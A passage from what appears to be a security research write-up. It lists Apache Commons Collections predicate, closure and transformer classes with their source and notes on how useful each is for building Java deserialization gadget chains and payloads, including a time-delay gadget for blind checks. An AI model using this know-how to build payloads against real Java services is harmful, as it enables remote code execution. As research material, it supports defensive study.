public boolean evaluate(Object object) {
    return (object != null);
}

NullIsExceptionPredicate

public boolean evaluate(Object object) {
    if (object == null) {
        throw new FunctorException("Input Object must not be null");
    }
    return iPredicate.evaluate(object);
}

NullIsFalsePredicate

public boolean evaluate(Object object) {
    if (object == null) {
        return false;
    }
    return iPredicate.evaluate(object);
}

NullIsTruePredicate

public boolean evaluate(Object object) {
    if (object == null) {
        return true;
    }
    return iPredicate.evaluate(object);
}

ExceptionPredicate

public boolean evaluate(Object object) {
    throw new FunctorException("ExceptionPredicate invoked");
}

TransformedPredicate

public boolean evaluate(Object object) {
    Object result = iTransformer.transform(object);
    return iPredicate.evaluate(result);
}

TransformerPredicate

Essential predicate that takes transformer output. With this we can construct gadgets like: if (string.isEmpty()) Thread.sleep(7000);.

public boolean evaluate(Object object) {
    Object result = iTransformer.transform(object);
    if (result instanceof Boolean == false) {
        throw new FunctorException(
            "Transformer must return an instanceof Boolean, it was a "
                + (result == null ? "null object" : result.getClass().getName()));
    }
    return ((Boolean) result).booleanValue();
}

UniquePredicate

public boolean evaluate(Object object) {
    return iSet.add(object);
}

Closure glossary

List of all closures available for use in gadgets with the key functionality.

ChainedClosure

Increases expressivity of the language.

public void execute(Object input) {
    for (int i = 0; i < iClosures.length; i++) {
        iClosures[i].execute(input);
    }
}

ExceptionClosure

public void execute(Object input) {
    throw new FunctorException("ExceptionClosure invoked");
}

ForClosure

Increases expressivity of the language.

public void execute(Object input) {
    for (int i = 0; i < iCount; i++) {
        iClosure.execute(input);
    }
}

IfClosure

Increases expressivity of the language.

public void execute(Object input) {
    if (iPredicate.evaluate(input) == true) {
        iTrueClosure.execute(input);
    } else {
        iFalseClosure.execute(input);
    }
}

NOPClosure

public void execute(Object input) {
    // do nothing
}

SwitchClosure

public void execute(Object input) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(input) == true) {
            iClosures[i].execute(input);
            return;
        }
    }
    iDefault.execute(input);
}

TransformerClosure

Essential Closure, enables to hide transformer in the closure. With this we can process input data without destroying it so the next transformer can call methods on the exactly same input object.

public void execute(Object input) {
    iTransformer.transform(input);
}

WhileClosure

Increases expressivity of the language.

public void execute(Object input) {
    if (iDoLoop) {
        iClosure.execute(input);
    }
    while (iPredicate.evaluate(input)) {
        iClosure.execute(input);
    }
}

Transformer Glossary

List of all transformers available for use in gadgets with the key functionality.

ChainedTransformer

Essential Transformer for chaining more transformers into one. Enables to construct invocation chains.

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

CloneTransformer

Quite useless.

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    return PrototypeFactory.getInstance(input).create();
}

ClosureTransformer

Essential for using Closures in the Transformer chain.

public Object transform(Object input) {
    iClosure.execute(input);
    return input;
}

ConstantTransformer

Essential for starting a new Transformer chain. Input has to be Serializable so it works in the payload.

public Object transform(Object input) {
    return iConstant;
}

ExceptionTransformer

public Object transform(Object input) {
    throw new FunctorException("ExceptionTransformer invoked");
}

FactoryTransformer

Useless.

public Object transform(Object input) {
    return iFactory.create();
}

InstantiateTransformer

Can be seen as a syntactic sugar - looks for constructor and instantiates a class. This can be done also with ConstantTransformer and InvokerTransformer. The benefit is the payload is smaller when using this Transformer for the purpose.

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

InvokerTransformer

Essential class for method invocation on the input object.

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

MapTransformer

Map is passed on initialization. If the whole map is serializable, can be used for something particular, but in general it is quite useless.

public Object transform(Object input) {
    return iMap.get(input);
}

NOPTransformer

public Object transform(Object input) {
    return input;
}

PredicateTransformer

Converts predicate to transformer. Not very useful.

public Object transform(Object input) {
    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);
}

StringValueTransformer

This can be used to convert primitive value returned from the previous call to object again (String) so we can call methods on it / extract the value.

public Object transform(Object input) {
    return String.valueOf(input);
}

SwitchTransformer

Nice tool for multiple predicate-check pairs.

public Object transform(Object input) {
    for (int i = 0; i < iPredicates.length; i++) {
        if (iPredicates[i].evaluate(input) == true) {
            return iTransformers[i].transform(input);
        }
    }
    return iDefault.transform(input);
}